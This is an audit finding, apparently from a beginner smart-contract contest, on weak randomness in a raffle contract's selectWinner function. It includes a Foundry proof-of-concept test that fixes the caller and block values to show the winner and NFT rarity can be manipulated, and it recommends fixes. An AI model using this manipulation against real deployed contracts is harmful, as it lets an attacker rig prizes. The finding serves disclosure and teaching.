Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-02] Manipulable Randomness Leads to Unfair Legendary NFT Distribution in `selectWinner` function

Summary

The selectWinner function in the given smart contract attempts to pick a winner from a raffle and award them an NFT with a rarity level. The randomness used to determine both the winner and the rarity of the NFT could be predicted or manipulated due to its reliance on blockchain variables and msg.sender, potentially allowing a malicious actor to unfairly win and obtain a Legendary NFT.

Vulnerability Details

The function utilizes the keccak256 hashing function applied to a combination of msg.sender, block.timestamp, and block.difficulty to compute indices and rarity values. However, these sources of entropy are known to be manipulable to some extent:

Winner Selection:

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

Rarity Determination:

uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) { //95
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}

The winnerIndex and rarity values are determined using the keccak256 hash function, which, although being a secure hash function, becomes predictable when fed with known or manipulable inputs. Furthermore,we also know that the rarity value needs to be >95 in order to mint the legendary NFT.

Impact

A malicious actor could potentially manipulate the variables involved in the randomness generation to increase their chances of winning the raffle and obtaining a Legendary NFT. This undermines the fairness and integrity of the raffle and NFT distribution, which could in turn affect the trust and participation levels in the raffle.

POC

Add this test function to the foundry test:

function test_POCAnyoneCanWin_With_Legendary_Rarity() public {
// Initialize a list of 4 players
address[] memory players1 = new address[](4);
players1[0] = playerOne;
players1[1] = playerTwo;
players1[2] = playerThree;
players1[3] = playerFour;
// Enter the raffle with the 4 players
puppyRaffle.enterRaffle{value: entranceFee * 4}(players1);
// Log the length of the players array for debugging
console.log(players1.length);
// Set up the prank to fix msg.sender to playerTwo
vm.startPrank(playerTwo);
// Warp time and block number to simulate the passage of time
vm.warp(block.timestamp + duration + 3);
vm.roll(block.number + 1);
// Call the selectWinner function
puppyRaffle.selectWinner();
// Stop the prank to restore original state
vm.stopPrank();
// Set a specific difficulty value to check the rarity calculation
vm.difficulty(7);
// Calculate the rarity based on the current block difficulty
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
// Check if the rarity value is greater than 95 and log the difficulty
if (rarity > 95) {
console.log("Rarity: ", 7);
console.log("Lengendary NFT minted");
}
// Assert that playerTwo is the winner and has been minted a token
assertEq(puppyRaffle.previousWinner(), playerTwo);
assertEq(puppyRaffle.balanceOf(playerTwo), 1);
}

Tools Used

  • Manual review

  • Foundry

Recommendations:

  1. Employ Off-chain Randomness: Utilize an off-chain source of randomness, like Chainlink VRF (Verifiable Random Function), to generate random numbers securely.

  2. Use Commit-Reveal Scheme: Implement a commit-reveal scheme that requires players to submit a hash of their chosen random number and reveal it later, which can then be combined to generate a random number for the raffle.

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.